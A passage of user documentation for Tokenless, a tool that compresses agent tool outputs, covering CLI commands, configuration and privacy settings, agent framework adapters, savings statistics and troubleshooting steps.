`65536`, and `32`. Content-retrieval tools are skipped. See [Framework integration · Adapter processing rules](framework-integration.md#adapter-processing-rules). ## `compress-toon` and `decompress-toon` JSON to TOON: ```bash echo '{"name":"Alice","age":30}' | tokenless compress-toon ``` TOON to JSON: ```bash printf 'name: Alice\nage: 30\n' | tokenless decompress-toon ``` Round-trip verification: ```bash echo '{"name":"test","value":42}' \ | tokenless compress-toon \ | tokenless decompress-toon ``` `compress-toon` supports `--agent-id`, `--session-id`, and `--tool-use-id`. When encoding provides no savings, it returns the original JSON and does not record that operation. ## `retrieve` This marker in compressed output means that removed content was written to Stash: ```text <> ``` Retrieve by bare hash: ```bash tokenless retrieve 0123456789abcdef01234567 ``` You may also paste a complete line containing the marker: ```bash tokenless retrieve \ '<... 12 items truncated, retrieve with <>' ``` Override the database: ```bash tokenless retrieve 0123456789abcdef01234567 \ --stash-db ~/.tokenless/stash.db ``` The hash must contain 24 hexadecimal characters and is case-insensitive. The default SQLite Stash TTL is one hour and its live-entry capacity is 10,000. Retrieval fails after expiry or capacity eviction, with `--no-stash`, in dry-run mode, after a failed write, or when a different database path is used. ## `mcp serve` Start the stdio MCP server: ```bash tokenless mcp serve ``` It exposes `tokenless_retrieve`, allowing an MCP-capable agent to recover Stash content without a shell call. The MCP server must use the same user and Stash database as the compression flow. ## `env-check` Check one tool: ```bash tokenless env-check --tool Shell ``` Check all declared tools: ```bash tokenless env-check --all tokenless env-check --all --json tokenless env-check --all --checklist ``` Status meanings: | Status | Meaning | |--------|---------| | `READY` | Required and recommended dependencies, configuration, and permissions are satisfied | | `PARTIAL` | Required dependencies and permissions are satisfied, but a recommended dependency, configuration item, or network check is missing | | `NOT_READY` | A required dependency or permission is missing; the tool should not be retried | | `UNKNOWN` | The dependency specification does not contain the tool | Automatic repair: ```bash tokenless env-check --tool Shell --fix ``` > `--fix` attempts only missing required dependencies, not recommended ones. It may invoke a system package manager, install dependencies, or create links. Read the normal check output first and use it only after accepting those environment changes. Follow the output when administrator access is required. ## `stats` ```bash tokenless stats summary tokenless stats summary --json tokenless stats list --limit 20 tokenless stats show tokenless stats diff tokenless stats diff --session tokenless stats status tokenless stats enable tokenless stats disable tokenless stats clear --yes ``` Dual-run comparison: ```bash tokenless stats summary --compare ``` Inspect one record or the verified stages of one tool call: ```bash tokenless stats diff -U 5 tokenless stats diff --session \ --tool-use-id ``` `stats show` prints the complete stored before/after text. `stats diff` explains estimated savings and renders changed lines. Its main options are: | Option | Applies to | Behavior | |--------|------------|----------| | `` | One record | Conflicts with `--session` | | `--session ` | Session | Shows a metrics-only overview | | `--tool-use-id ` | Session | Expands one tool call; requires `--session` | | `-l, --limit ` | Session overview | Maximum chains, default `20` | | `--sort saved\|time` | Session overview | Largest saving first by default, or newest first | | `-U, --context ` | Content diff | Unchanged lines around changes, default `3` | | `--no-color` | Text output | Disables ANSI colors | | `--json` | Any scope | Emits schema `1.0` JSON with structured diff hunks | Content diffing is omitted when either endpoint is unavailable or exceeds 1 MiB, and rendered hunks stop after 500 lines. Take care when using a shared terminal or collecting output because record and tool-use diffs can contain stored source text. See [Measuring savings](measuring-savings.md) and [Configuration and data privacy](configuration-and-privacy.md). `stats status` reports the local-statistics and SLS switches and their source. The current status path does not read the compression switch, so it does not display `compression_enabled`; inspect `TOKENLESS_COMPRESSION_ENABLED` and `~/.tokenless/config.json` for that setting. ## Errors and degradation - CLI errors are written to stderr and return a non-zero exit status. - Hooks and plugins normally catch errors and pass through the original response. - No compression savings is not an error; the CLI returns the original. - Compression may continue after a Stash write failure, but the related truncated content cannot be retrieved. See [Troubleshooting](troubleshooting.md) for input, database, and adapter errors. ===== docs/user-guide/en/token-saving/tokenless/configuration-and-privacy.md ===== # Tokenless Configuration and Data Privacy [中文版](../../../zh/token-saving/tokenless/configuration-and-privacy.md) Tokenless enables compression, local statistics, and SLS metrics by default. Because local statistics and Stash may contain complete tool output or truncated original payloads, review these defaults before processing source code, credentials, or production logs. ## Configuration precedence In the normal path, each toggle uses: ```text Environment variable > ~/.tokenless/config.json > default ``` An empty environment variable is treated as unset. For Boolean environment variables, `1`, `true`, and `yes` are true, case-insensitively; any other non-empty value is false. Prefer explicit `true` or `false` values for readability. There is one current implementation exception: when both `TOKENLESS_STATS_ENABLED` and `TOKENLESS_SLS_ENABLED` are non-empty, the config file is skipped completely. In that branch, compression uses `TOKENLESS_COMPRESSION_ENABLED` when set and otherwise defaults to `true`. If you export both recording variables, export the compression variable explicitly as well. ## Configuration file Configuration path: ```text ~/.tokenless/config.json ``` Complete example: ```json { "stats_enabled": true, "sls_enabled": true, "compression_enabled": true } ``` A missing, unreadable, or invalid JSON file is silently replaced by the all-`true` defaults in memory. Validate a manually edited file with: ```bash jq . ~/.tokenless/config.json ``` | Field | Default | Actual behavior | |-------|---------|-----------------| | `stats_enabled` | `true` | Writes complete before/after text and metrics to local SQLite | | `sls_enabled` | `true` | Appends a metrics-only record when the target JSONL file exists | | `compression_enabled` | `true` | Returns compressed output when true; false runs dry-run and returns the original | When Tokenless writes the configuration, it restricts the mode to `0600`. Confirm the mode after creating it manually: ```bash chmod 600 ~/.tokenless/config.json ``` The `stats` subcommands change only `stats_enabled`: ```bash tokenless stats status tokenless stats enable tokenless stats disable ``` An environment override still wins after these commands. For example, `TOKENLESS_STATS_ENABLED=0 tokenless stats enable` saves `true` to the file, but recording remains disabled for processes that keep the environment override. ## Environment variables ### Common user variables | Variable | Purpose | Constraint | |----------|---------|------------| | `TOKENLESS_STATS_ENABLED` | Override local statistics | Does not affect SLS or Stash | | `TOKENLESS_SLS_ENABLED` | Override SLS metrics | Does not affect local statistics | | `TOKENLESS_COMPRESSION_ENABLED` | Override active compression | False is dry-run, not a full stop | | `TOKENLESS_DATA_DIR` | Directory containing `stats.db` and `stash.db` | Absolute path under the real user home | | `TOKENLESS_STATS_DB` | Override the statistics database | The CLI and bundled RTK writer validate the real-user-home boundary and ignore an invalid value | | `TOKENLESS_STASH_DB` | Override the Stash database | Must be under the real user home | | `TOKENLESS_SLS_PATH` | Override the SLS JSONL path | Must be under `/var/log/` or `/tmp/` | ### Adapter and diagnostic variables | Variable | Purpose | |----------|---------| | `TOKENLESS_AGENT_ID` | Agent identifier injected by an adapter | | `TOKENLESS_SESSION_ID` | Session identifier injected by an adapter | | `TOKENLESS_TOOL_USE_ID` | Tool-call identifier injected by an adapter | | `TOKENLESS_TOOL_READY_SPEC` | Override the Tool Ready dependency specification | | `TOKENLESS_ENV_FIX_SCRIPT` | Override the environment repair script | | `TOKENLESS_PACKAGE_MANAGER` | Override package-manager detection, mainly for tests | The last three are subject to trusted-path or runtime validation and are not recommended for normal users. Database path priority is: - Stats: `TOKENLESS_STATS_DB` > `TOKENLESS_DATA_DIR/stats.db` > `~/.tokenless/stats.db` - Stash: `--stash-db` > `TOKENLESS_STASH_DB` > `TOKENLESS_DATA_DIR/stash.db` > `~/.tokenless/stash.db` Both the CLI and bundled RTK writer validate Stats paths against the real user home. An invalid `TOKENLESS_STATS_DB` is skipped; `TOKENLESS_DATA_DIR` is used only when it passes the same boundary check, otherwise the default path is used. An empty value is treated as unset. `TOKENLESS_DATA_DIR` may name a directory that does not exist yet; Tokenless creates it after validating its nearest existing ancestor. It does not relocate `~/.tokenless/config.json` or the SLS JSONL output. ## Local and external data | Data | Default path | Default content | Retention | Stop new data | |------|--------------|-----------------|-----------|---------------| | Local statistics | `~/.tokenless/stats.db` | Complete before/after text, identifiers, and metrics | No automatic TTL; retained until cleared | `tokenless stats disable` | | Stash | `~/.tokenless/stash.db` | Original strings, array tails, deep subtrees, and schema descriptions removed by truncation | One-hour TTL and 10,000 live entries; expired rows are purged lazily | CLI: `--no-stash`; agent: disable the adapter | | Configuration | `~/.tokenless/config.json` | Three Boolean toggles | Persistent | Not applicable | | SLS JSONL | `/var/log/anolisa/sls/ops/tokenless.jsonl` | Metrics and identifiers, no compressed source text | Managed by SLS/Logtail infrastructure | `TOKENLESS_SLS_ENABLED=0` or config false | ### Sensitivity of local statistics `before_text` and `after_text` in `stats.db` preserve complete content. `tokenless stats show` prints that content, while record-level and tool-use-level `tokenless stats diff` commands can render changed lines from it. They may contain: - Source code and patches. - Paths, user names, or environment details from command output. - Business data returned by an API. - Access tokens, cookies, or credentials found in logs. The `tokenless` CLI's SQLite recorder attempts to set `stats.db` to `0600` whenever it opens the database. The bundled RTK statistics patch can create or open the same file directly and does not apply that permission change itself. Do not rely on the process umask; verify the deployed database and sidecars: ```bash ls -l ~/.tokenless/stats.db* ``` ### Sensitivity of Stash Stash saves the original content removed by truncation, not a summary. It does not save fields removed solely because they are blacklisted, `null`, or empty. Its path is restricted to the real user home by the `tokenless` CLI, but also verify that the database and SQLite sidecar files are not readable by other local users: ```bash ls -l ~/.tokenless/stash.db* ``` TTL means that `retrieve` no longer returns an entry after one hour. Expired rows are deleted lazily during a later retrieval; TTL is not an immediate secure-erasure guarantee for disk data. When more than 10,000 live entries exist, the store evicts entries with the earliest expiry first, so retrieval can fail before one hour under heavy use. ### SLS excludes original text Tokenless SLS JSONL includes the component, operation, session/tool-use identifiers, and character/token metrics. It does not include `before_text` or `after_text`. Identifiers can still be organizational runtime metadata and should follow the platform's log policy. ## Guidance for sensitive workloads ### Compress without recording ```bash TOKENLESS_STATS_ENABLED=0 \ TOKENLESS_SLS_ENABLED=0 \ tokenless compress-response --no-stash -f response.json ``` This applies to standalone CLI use. Agent adapters may use Stash by default. If the framework does not provide an appropriate exclusion rule, disable the adapter for sensitive tasks. ### Keep the adapter but do not apply compression Set this in the environment used to start the agent: ```bash export TOKENLESS_COMPRESSION_ENABLED=0 ``` This is a dry-run and may still write local statistics or SLS. To avoid persistence, also set: ```bash export TOKENLESS_STATS_ENABLED=0 export TOKENLESS_SLS_ENABLED=0 ``` Dry-run does not create Stash entries, but it also does not disable RTK rewriting or Tool Ready. Disable the adapter when those behaviors must stop. ### Stop Tokenless completely in an agent ```bash anolisa adapter disable tokenless ``` Restart the agent afterwards. Setting only `compression_enabled=false` does not stop hook or plugin execution. ## Clear data Clear local statistics records: ```bash tokenless stats clear --yes ``` This clears records from the statistics database resolved in the current environment, but it does not remove the database file or SQLite sidecars. Tokenless currently has no Stash clear subcommand. For irreversible local-database removal: 1. Disable every Tokenless adapter. 2. Exit agents, MCP servers, and Tokenless processes that may still use the databases. 3. Confirm that statistics history and Stash retrieval are no longer needed. 4. Back up anything that must be retained. 5. Inspect path overrides in the actual environment used to start the agent, service, and Tokenless: ```bash env | grep -E '^TOKENLESS_(DATA_DIR|STATS_DB|STASH_DB)=' ``` The statistics path resolves in this order: `TOKENLESS_STATS_DB`, `TOKENLESS_DATA_DIR/stats.db`, then `~/.tokenless/stats.db`. The Stash path resolves in this order: command-line `--stash-db`, `TOKENLESS_STASH_DB`, `TOKENLESS_DATA_DIR/stash.db`, then `~/.tokenless/stash.db`. Write the final values as verified absolute paths; do not expand untrusted environment values directly into a removal command. The following command works for default and custom paths. Replace and print both paths first, then confirm that they are the Tokenless databases to remove: ```bash stats_db='/absolute/path/to/resolved/stats.db' stash_db='/absolute/path/to/resolved/stash.db' printf '%s\n' "$stats_db" "$stash_db" rm -f -- \ "$stats_db" \ "$stats_db-wal" \ "$stats_db-shm" \ "$stats_db-journal" \ "$stash_db" \ "$stash_db-wal" \ "$stash_db-shm" \ "$stash_db-journal" ``` This cannot be undone. Do not recursively remove the data directory or `~/.tokenless/` because either location may contain configuration or other files that you want to keep. ## Fine-grained OpenClaw control The OpenClaw plugin also provides framework-level options: | Option | Purpose | |--------|---------| | `rtk_enabled` | Command rewriting | | `tool_ready_enabled` | Tool Ready checks | | `response_compression_enabled` | Response compression | | `toon_compression_enabled` | TOON encoding | | `skip_tools` | Tool names that bypass all compression | | `shell_tools` | Tool names handled as shell/exec with moderate truncation | | `verbose` | Plugin diagnostic logging | The OpenClaw adapter does not currently implement Schema compression; invoke the `tokenless compress-schema` CLI command directly when needed. The runtime defaults RTK, Tool Ready, and response compression to on, and TOON to off. The current runtime code treats an omitted `verbose` as on, while the plugin schema declares its default as off; set `verbose` explicitly until those definitions are aligned. These values are managed by OpenClaw plugin configuration, not `~/.tokenless/config.json`. Restart the gateway as instructed after changing them. ## Related documents - [Measuring savings](measuring-savings.md) - [CLI reference](cli-reference.md) - [Framework integration](framework-integration.md) - [Troubleshooting](troubleshooting.md) ===== docs/user-guide/en/token-saving/tokenless/framework-integration.md ===== # Tokenless Framework Integration [中文版](../../../zh/token-saving/tokenless/framework-integration.md) Tokenless uses adapters to connect compression, command rewriting, and environment checks to an agent. Installing Tokenless provides the binaries and adapter resources; the target agent calls them automatically only after its adapter is enabled. ## Support matrix | Framework | Value | Tool Ready | Rewrite behavior | Response delivery | TOON | Schema | |-----------|-------|------------|------------------|-------------------|------|--------| | cosh | `cosh` | ✅ | Replaces supported shell input | Cosh-NG replaces the response; legacy Copilot Shell appends context | Attempted after response compression | ✅ | | OpenClaw | `openclaw` | ✅ | Replaces the `exec` command input | Replaces the persisted tool-result message | Off by default; opt in | — | | Hermes | `hermes` | ✅ | Blocks the first call and asks the agent to retry | Replaces the result string | Attempted after response compression | — | | Qoder | `qoder` | ✅ | Emits rewritten shell input | Emits `additionalContext` | Attempted after response compression | — | | Claude Code | `claude-code` | ✅ | Replaces Bash input | Replaces output on 2.1.121 or later; otherwise passes through | Used only when the replacement can remain text | — | | Codex | `codex` | ✅ | Replaces supported shell input | Keeps the original and adds analysis or a compressed alternative | Used to build that alternative | — | | OpenCode | `opencode` | ✅ | Replaces Bash input | Replaces tool output | Attempted after response compression | ✅ | | Qwen Code | `qwencode` | ✅ | Emits rewritten shell input | Emits `additionalContext` | Attempted after response compression | ✅ | “—” means that the current adapter does not register that capability. The corresponding Tokenless CLI command may still be available. `additionalContext` is an additive hook field. The Tokenless source does not remove the original result on those paths; the final treatment also depends on the host implementation. A statistics record proves that a candidate became smaller, not that the host removed the original from its model request. OpenCode currently uses the bundled lifecycle scripts documented below. It is not registered with the `anolisa adapter enable` driver set in this release. ## Adapter processing rules The standalone `compress-response` defaults are not the defaults used by most adapters. Shared adapters classify tools as follows: | Class | Default adapter behavior | |-------|--------------------------| | Content retrieval, including Read/Glob/Grep/LSP/NotebookRead aliases | Skip response compression | | Shell/exec | 65,536-character strings, 128 retained array items, depth 8 | | Other structured tools | 1,048,576-character strings, 65,536 retained array items, depth 32 | The shared response hook, OpenClaw, and Hermes skip inputs shorter than 200 characters. Codex skips inputs shorter than 500 characters; it includes compressed content only for inputs of at least 4,000 characters and otherwise adds diagnostics or a summary. Skill-like text with YAML frontmatter is also skipped by the shared paths. Claude Code requires version 2.1.121 or later for `updatedToolOutput`. On older or unknown versions, response compression is disabled to avoid duplicating the original. Structured tool outputs preserve their host schema and do not switch to textual TOON; JSON carried as a string can use TOON when it is smaller. ## Manage adapters with anolisa (recommended) ### 1. Scan frameworks ```bash anolisa adapter scan ``` If the target framework is absent, confirm that its CLI or application is installed, then scan again. ### 2. Enable one adapter ```bash anolisa adapter enable tokenless ``` Examples: ```bash anolisa adapter enable tokenless cosh anolisa adapter enable tokenless openclaw anolisa adapter enable tokenless hermes anolisa adapter enable tokenless qoder anolisa adapter enable tokenless claude-code anolisa adapter enable tokenless codex anolisa adapter enable tokenless qwencode ``` Enable only frameworks that you use. When enabling more than one, run and verify each command separately. OpenCode is the exception to this section; use its bundled install script under [Manual integration after npm installation](#manual-integration-after-npm-installation). For OpenClaw, anolisa first attempts a normal install and does not add an unsafe-install bypass by default. If OpenClaw rejects the plugin on its safety scan, read the reported findings. Only after accepting them, retry explicitly: ```bash anolisa adapter enable tokenless openclaw \ --allow-unsafe-plugin-install ``` On OpenClaw releases where the underlying bypass is unsupported or a deprecated no-op, anolisa refuses this option; follow the error's `security.installPolicy` guidance instead. If Tokenless was installed in system mode, use the same scope: ```bash sudo anolisa adapter enable tokenless ``` ### 3. Check status ```bash anolisa adapter status tokenless anolisa doctor tokenless ``` Restart the target agent CLI or IDE afterwards. A running session normally does not load a newly installed hook or plugin dynamically. ### 4. Disable ```bash anolisa adapter disable tokenless ``` For system mode: ```bash sudo anolisa adapter disable tokenless ``` Restart the target agent after disabling. All enabled adapters must be released before Tokenless can be uninstalled. ## Manual integration after npm installation The npm postinstall script attempts to copy adapter resources under: ```text ~/.local/share/anolisa/adapters/tokenless/ ``` Confirm that this directory exists. Adapter copying is supplementary and fails open with a warning; a successful binary install can therefore exist without this copy. If it is absent, review the npm postinstall warning and prefer an anolisa-managed installation. An npm install does not create an anolisa component installation record, so do not assume that `anolisa adapter enable` can manage it. OpenClaw, Hermes, Qoder, Claude Code, Codex, OpenCode, and Qwen Code provide their own install scripts: ```bash bash ~/.local/share/anolisa/adapters/tokenless//scripts/install.sh ``` For example: ```bash bash ~/.local/share/anolisa/adapters/tokenless/claude-code/scripts/install.sh bash ~/.local/share/anolisa/adapters/tokenless/opencode/scripts/install.sh ``` Uninstall the same adapter with: ```bash bash ~/.local/share/anolisa/adapters/tokenless//scripts/uninstall.sh ``` The scripts call the framework's own plugin or extension mechanism. Follow their restart instructions. If a script is missing, fails, or reports an incompatible framework version, prefer an anolisa-managed installation. The OpenClaw install script invokes `plugins install` with `--dangerously-force-unsafe-install` because the plugin launches the `tokenless` and `rtk` binaries through Node.js child-process APIs. Review the installed adapter source and your OpenClaw policy before running it. If that policy does not permit the override, do not install the plugin. ### npm with cosh cosh uses an Extension directory and does not provide a separate `scripts/install.sh`. Copy the npm-installed shared resources into the user Extension directory: ```bash mkdir -p ~/.copilot-shell/extensions/tokenless cp -R ~/.local/share/anolisa/adapters/tokenless/common/hooks \ ~/.local/share/anolisa/adapters/tokenless/common/commands \ ~/.local/share/anolisa/adapters/tokenless/common/cosh-extension.json \ ~/.copilot-shell/extensions/tokenless/ ``` Restart cosh afterwards. Before removing it, exit cosh and confirm that the target directory is the Tokenless Extension created by this npm installation. ## Framework activation notes ### cosh Extensions are discovered at startup. Restart cosh, run a shell-tool task, and inspect `tokenless stats list`. ### OpenClaw The install script uses OpenClaw's unsafe-install override as described above. Restart the gateway after accepting and installing the plugin. Response compression, Tool Ready, and RTK rewriting default to enabled in the plugin code; TOON defaults to disabled. ### Hermes The plugin takes effect in a new Hermes session. Restart Hermes and run a shell-tool task. ### Qoder Qoder IDE and qodercli may cache plugin configuration. Fully restart the IDE after enabling or upgrading. If an old hook path is reported, see [Qoder plugin cache issue](troubleshooting.md#qoder-plugin-cache-issue). ### Claude Code The marketplace plugin takes effect after restarting Claude Code. The install script may also offer a plugin refresh command. ### Codex The plugin loads in a new Codex session. Close the old session and start a new one before verifying statistics. Its PostToolUse hook is additive: use statistics as candidate-compression telemetry, not as proof that the original Codex tool output left the prompt. ### OpenCode OpenCode discovers global local plugins at startup. Use the bundled Tokenless lifecycle script described above, restart OpenCode after installation or removal, then run a tool call and inspect `tokenless stats list`. The script resolves the configuration directory from `TOKENLESS_OPENCODE_CONFIG_DIR`, then `OPENCODE_CONFIG_DIR`, then `XDG_CONFIG_HOME/opencode`, and finally `~/.config/opencode`. Installation creates only `plugins/tokenless.js` as a managed symlink and refuses to replace an unrelated file at that path. ### Qwen Code The extension loads in a new Qwen Code session. Restart and run one tool call to verify it. ## Verify the actual integration Do not treat a zero install exit code as the only success criterion. At minimum, run: ```bash tokenless --version anolisa adapter status tokenless tokenless stats list --limit 5 ``` Then execute a tool task with visible output in the target agent. If `stats list` remains empty, follow [No statistics appear after enabling the adapter](troubleshooting.md#no-statistics-appear-after-enabling-the-adapter). ## Related documents - [Quick Start](QUICKSTART.md) - [Measuring savings](measuring-savings.md) - [Configuration and data privacy](configuration-and-privacy.md) - [Troubleshooting](troubleshooting.md) ===== docs/user-guide/en/token-saving/tokenless/measuring-savings.md ===== # Measuring Tokenless Savings [中文版](../../../zh/token-saving/tokenless/measuring-savings.md) Tokenless records payload size and estimated tokens before and after processing. It answers “how much a compression candidate shrank,” not “how much the model request or bill decreased.” The database and CLI call the size fields “characters,” but the current writers store UTF-8 byte length. Stored token counts use an approximate `ceil(bytes / 4)` heuristic; they do not call a model tokenizer. Treat both as comparison metrics. ## Understand the measurement scope Tokenless can measure: - Schema size before and after compression. - Tool/API response size before and after compression. - TOON size before and after encoding. - RTK output size before and after filtering, when a rewritten RTK command actually runs. - Active versus dry-run mode. - Session, agent, and tool-use identifiers. Tokenless cannot directly measure: - Tokens generated by the model. - The system prompt or conversation history that bypasses Tokenless. - Final provider billing tokens. - Whether compression changed task quality. - Whether an additive adapter removed the original result from the final model request. A rollout should compare both statistics and task-result quality. ## View the cumulative summary ```bash tokenless stats summary ``` The current text output has this structure: ```text Tokenless Statistics Summary ============================================================ Total Records: ... Character Savings: Before: ... After: ... Saved: ... Token Savings: Before: ... After: ... Saved: ... Breakdown by Operation: ---------------------------------------- compress-response: ... ``` `Character Savings` and `Chars` in this output are the byte-based compatibility labels described above. For machine-readable output: ```bash tokenless stats summary --json ``` The summary reads at most the latest 10,000 records by default. Limit the query with: ```bash tokenless stats summary --limit 1000 ``` ## Inspect individual records List recent records: ```bash tokenless stats list tokenless stats list --limit 50 ``` `[ID:]` in the output is the record ID. Show the complete text before and after one operation: ```bash tokenless stats show ``` Explain the estimated saving and changed lines for that record: ```bash tokenless stats diff tokenless stats diff -U 5 tokenless stats diff --json ``` When both endpoints are valid JSON, `diff` sorts object keys before comparison, so key-order-only changes are hidden in the display; it does not modify stored content. Use `stats show` when you need the verbatim payload or when the diff reports missing or oversized content. Analyze end-to-end stages within one session: ```bash tokenless stats diff --session tokenless stats diff --session --sort time tokenless stats diff --session \ --tool-use-id ``` The session overview contains metrics only. A tool-use report includes content diffs and links consecutive active stages only when their session/tool-use IDs match and the previous stored output exactly equals the next stored input. Disconnected stages, dry-run rows, and rows without a tool-use ID remain separate, preventing intermediate inputs from being counted twice. For dry-run rows, `after` is the predicted compressed size while `emitted` remains the original `before` size. Operations with no estimated saving are not stored, so session reports cover saving records only. > Local statistics contain complete tool text. Do not paste `stats show` output into public issues, shared logs, or untrusted chats. See [Configuration and data privacy](configuration-and-privacy.md). ## Why no record appears No statistics record is added when: - The estimated token count did not decrease. - `stats_enabled=false` or `TOKENLESS_STATS_ENABLED=0`. - The adapter is not enabled or the old agent session was not restarted. - The hook or plugin cannot find `tokenless`. - The input did not pass through a supported Tokenless hook. An additive adapter can create a record even though the host also retains the original result. In particular, the current Codex PostToolUse hook records compression candidates but does not replace the original tool output. Start with: ```bash tokenless stats status anolisa adapter status tokenless ``` Then see [No statistics appear after enabling the adapter](troubleshooting.md#no-statistics-appear-after-enabling-the-adapter). ## Run a dry-run comparison Dry-run computes the compressed result and predicted savings but returns the original to its caller. A minimal reproducible comparison for the same input is: ```bash TOKENLESS_COMPRESSION_ENABLED=0 \ tokenless compress-response -f response.json \ --session-id baseline-run TOKENLESS_COMPRESSION_ENABLED=1 \ tokenless compress-response -f response.json \ --session-id active-run tokenless stats summary --compare baseline-run active-run ``` For machine-readable output: ```bash tokenless stats summary \ --compare baseline-run active-run \ --json ``` Notes: - `--compare` requires exactly two session IDs in baseline, active order. - The baseline should be a dry-run and the active session should apply compression. The CLI warns on a mode mismatch. - For real agent tasks, keep inputs, tool versions, and the environment as similar as possible. - Dry-run still writes the complete before/after text to the local statistics database. - Dry-run does not create Stash entries and does not disable RTK rewriting. RTK-written rows have no explicit mode and are read as active, so they can trigger a baseline mode warning. ## Interpret the saving rate correctly The compression rate in `stats summary` covers only payloads handled by Tokenless. Estimate the whole-session effect with: ```text Estimated overall saving rate = Tokenless payload compression rate × tool-payload share of session tokens ``` For example, a 60% payload compression rate with tool payloads representing 20% of the session gives an estimated overall saving of about 12%. This is still not a provider billing guarantee. ## Local AgentSight display AgentSight's Token savings view can aggregate `~/.tokenless/stats.db` read-only. When both run as the same user and AgentSight can access that database, SLS is not required to display local Tokenless statistics. Check access with: ```bash test -r ~/.tokenless/stats.db ``` See the [AgentSight user guide](../../agent-observability/agentsight.md) for installation and dashboard use. ## SLS JSONL SLS is a separate external ingestion path. It is not a prerequisite for AgentSight to read local statistics. Default behavior: - `sls_enabled=true`. - The default target is `/var/log/anolisa/sls/ops/tokenless.jsonl`. - Tokenless appends only when the target file already exists; otherwise it skips the write. - ANOLISA SLS/Logtail infrastructure creates, rotates, and removes the file. - SLS records contain metrics and identifiers, never the original before/after text. - The bundled RTK statistics writer records `rewrite-command` rows only in local SQLite; it does not call the SLS writer. Use a custom test file: ```bash touch /tmp/tokenless-sls.jsonl TOKENLESS_SLS_ENABLED=1 \ TOKENLESS_SLS_PATH=/tmp/tokenless-sls.jsonl \ tokenless compress-response -f response.json tail -n 1 /tmp/tokenless-sls.jsonl | jq . ``` `TOKENLESS_SLS_PATH` must be under `/var/log/` or `/tmp/`. Production SLS endpoint, authentication, and Logtail configuration belong to platform operations and are outside this guide. ## Clear statistics First confirm that historical comparisons are no longer needed: ```bash tokenless stats clear --yes ``` This clears records but does not disable future recording. Stop new local records with: ```bash tokenless stats disable ``` `stats disable` turns off only local SQLite statistics, not SLS. See [Configuration and data privacy](configuration-and-privacy.md) for the complete toggle behavior. ===== docs/user-guide/en/token-saving/tokenless/troubleshooting.md ===== # Tokenless Troubleshooting [中文版](../../../zh/token-saving/tokenless/troubleshooting.md) First identify the failing layer: component installation, adapter integration, compression, statistics storage, or Stash retrieval. Do not begin by deleting configuration or reinstalling everything. ## Quick diagnostics Run these in order: ```bash tokenless --version anolisa status tokenless anolisa doctor tokenless anolisa adapter status tokenless tokenless stats status tokenless env-check --all --checklist ``` When one command fails, resolve that layer before continuing. Preview the install plan without modifying the system: ```bash anolisa --dry-run install tokenless anolisa --dry-run --verbose install tokenless ``` For a system-mode install, keep the same scope on all mutating anolisa commands: ```bash sudo anolisa doctor tokenless ``` ## `tokenless: command not found` A normal user install usually places the command in `~/.local/bin`. Check: ```bash command -v tokenless printf '%s\n' "$PATH" ls -l ~/.local/bin/tokenless ``` If `~/.local/bin` is absent from `PATH`, add it according to the shell's startup-file rules and open a new terminal. Do not repeat a system install merely to solve a PATH problem. npm users should also check: ```bash npm prefix -g npm list -g --depth=0 anolisa-tokenless ``` If npm logs say that optional dependencies were skipped, reinstall with: ```bash npm install -g --include=optional anolisa-tokenless ``` Linux npm binaries support glibc only. musl systems such as Alpine require a Linux source build. ## Input and JSON errors | Error | Cause | Resolution | |-------|-------|------------| | `No input provided` | No `--file` and stdin is a terminal | Use `-f ` or a pipe | | `Input exceeds 64 MiB limit` | One input exceeds the cap | Split the input; do not bypass it by raising system memory limits | | `JSON parse error` | Invalid JSON | Run `jq . < input.json` first | | `Expected a JSON array for --batch mode` | `--batch` input is not an array | Remove `--batch` or fix the input structure | | Output is still the original | Compression had no estimated saving | Normal behavior; inspect the stderr notice | ## No statistics appear after enabling the adapter ### 1. Verify the standalone CLI ```bash printf '%s\n' \ '{"status":"ok","debug":{"trace":"verbose"},"metadata":null,"data":{"items":[1,2,3]}}' \ | tokenless compress-response tokenless stats list --limit 5 ``` If this also creates no record, check: ```bash tokenless stats status ls -ld ~/.tokenless ls -l ~/.tokenless/stats.db ``` No record is written when compression has no savings. Use test input with removable or truncatable content. ### 2. Verify the adapter ```bash anolisa adapter scan anolisa adapter status tokenless ``` Confirm that: - The target framework is detected. - The Tokenless adapter is enabled. - The adapter and component use the same user/system scope. - The agent CLI or IDE was restarted after enabling. ### 3. Verify the agent task Run a task that actually passes through a hook, such as a shell command with visible output. Pure conversation, short responses, or a framework without the required hook may not create a record. ### 4. Check environment overrides ```bash env | grep '^TOKENLESS_' ``` Confirm that `TOKENLESS_STATS_ENABLED=0` is not set unexpectedly and that any custom database path remains under the real user home. ## Adapter enable fails Common causes: - The target agent framework is not installed or detected. - The framework version does not meet the adapter requirement. - Tokenless is installed in system scope but the adapter mutation uses user scope, or vice versa. - An npm installation has no anolisa component record, but `anolisa adapter enable` was used. - OpenClaw security policy rejected the plugin's required unsafe-install override. Start with: ```bash anolisa adapter scan anolisa --verbose adapter enable tokenless ``` For npm installations, use [Framework integration · Manual integration after npm installation](framework-integration.md#manual-integration-after-npm-installation). For an anolisa-managed installation, the first attempt does not bypass OpenClaw's safety scan. If the error specifically recommends it, review the findings and retry with: ```bash anolisa adapter enable tokenless openclaw \ --allow-unsafe-plugin-install ``` The npm/manual install script behaves differently: it always passes OpenClaw's `--dangerously-force-unsafe-install` because the plugin launches fixed `tokenless` and `rtk` child processes. Review the adapter and policy; do not enable it where that override is prohibited. ## A command is not rewritten RTK does not have a rewrite rule for every command. Test it directly: ```bash rtk rewrite "ls -la" ``` If `rtk` is missing: ```bash command -v rtk tokenless env-check --tool Shell ``` If RTK works directly but not in the agent, inspect the framework support matrix, adapter status, and whether the session was restarted. `TOKENLESS_COMPRESSION_ENABLED=0` does not disable rewriting. Disable the adapter, or set OpenClaw's `rtk_enabled=false` when using that plugin, if the original shell input must be preserved. ## Tool Ready reports `NOT_READY` View the complete checklist: ```bash tokenless env-check --tool tokenless env-check --all --checklist ``` `NOT_READY` means that a required dependency is absent. Resolve the specific binary, configuration, permission, or network issue in the report. Review the change before automatic repair: ```bash tokenless env-check --tool --fix ``` `--fix` may invoke a package manager or create links. Do not add `sudo` without understanding the output. ## Database errors ### `Failed to open database` ```bash ls -ld ~/.tokenless ls -l ~/.tokenless/stats.db* env | grep -E 'TOKENLESS_(DATA_DIR|STATS_DB|STASH_DB)=' ``` Confirm that the current user can write the selected data directory and database. The `tokenless` CLI accepts `TOKENLESS_DATA_DIR`, `TOKENLESS_STATS_DB`, and `TOKENLESS_STASH_DB` only under the real user home and falls back when an override is rejected. The bundled RTK statistics writer uses `TOKENLESS_STATS_DB` directly, so remove or correct an unexpected override in the agent environment as well. Do not share one `stats.db` between users. AgentSight and Tokenless should run so that they can access the same user's database. 